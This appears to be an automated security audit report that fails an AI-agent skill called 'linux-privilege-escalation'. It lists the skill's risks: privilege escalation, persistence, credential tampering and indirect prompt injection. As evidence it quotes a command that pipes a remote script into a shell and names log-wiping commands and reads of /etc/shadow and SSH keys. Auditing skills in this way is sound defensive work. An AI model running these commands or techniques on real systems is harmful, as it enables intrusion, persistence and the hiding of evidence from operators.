linux-privilege-escalation

Fail

Audited by Gen Agent Trust Hub on Sep 27, 2026

Risk Level: HIGHPRIVILEGE_ESCALATIONREMOTE_CODE_EXECUTIONEXTERNAL_DOWNLOADSPERSISTENCEDATA_EXFILTRATIONCREDENTIALS_UNSAFEDYNAMIC_EXECUTIONCOMMAND_EXECUTIONINDIRECT_PROMPT_INJECTION
Full Analysis
  • [PRIVILEGE_ESCALATION]: The skill is entirely dedicated to teaching privilege escalation techniques. It includes specific commands for exploiting SUID/SGID binaries, misconfigured sudo rules (including LD_PRELOAD and LD_LIBRARY_PATH injection), Linux capabilities abuse, and kernel exploits such as Dirty COW and PwnKit.
  • [REMOTE_CODE_EXECUTION]: Instructions include piping remote content directly into a shell interpreter.
  • Evidence: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh in SKILL.md.
  • [EXTERNAL_DOWNLOADS]: The skill fetches multiple exploitation and enumeration scripts from various GitHub repositories not identified as trusted sources.
  • Evidence: Downloads include LinEnum.sh, lse.sh, linux-exploit-suggester.sh, and Dirty COW source code.
  • [PERSISTENCE]: The skill provides methods for maintaining long-term access to a compromised system.
  • Evidence: Instructions for adding a new root-level user to /etc/passwd, overwriting the root password in /etc/shadow, adding SSH keys to the root user's authorized_keys file, and modifying systemd services or cron scripts.
  • [DATA_EXFILTRATION]: Instructions include commands designed to access sensitive system data.
  • Evidence: Commands to read /etc/shadow, private SSH keys (id_rsa), and searching for world-writable configuration files.
  • [CREDENTIALS_UNSAFE]: Provides mechanisms for generating and injecting malicious password hashes directly into system authentication files.
  • Evidence: Use of openssl passwd and crypt.crypt to generate hashes for injection into /etc/passwd and /etc/shadow.
  • [DYNAMIC_EXECUTION]: Instructions involve runtime compilation of exploit code and generation of malicious shared objects.
  • Evidence: Use of gcc to compile C-based kernel exploits and creating shared libraries (.so files) for environment variable injection via LD_PRELOAD.
  • [COMMAND_EXECUTION]: Includes commands designed to bypass logging and delete forensic evidence.
  • Evidence: Use of history -c, unset HISTFILE, and truncating /var/log/auth.log to hide malicious activity.
  • [INDIRECT_PROMPT_INJECTION]: The skill contains a vulnerability surface where untrusted data (like external exploit payloads) is processed by powerful capabilities.
  • Ingestion points: Fetches multiple external scripts and C source files (SKILL.md).
  • Boundary markers: None identified.
  • Capability inventory: Subprocess calls via system(), file writing, mounting filesystems, and service management (systemctl).
  • Sanitization: None; external content is executed or compiled directly.
Recommendations
  • HIGH: Downloads and executes remote code from: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh - DO NOT USE without thorough review
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Sep 27, 2026, 04:36 AM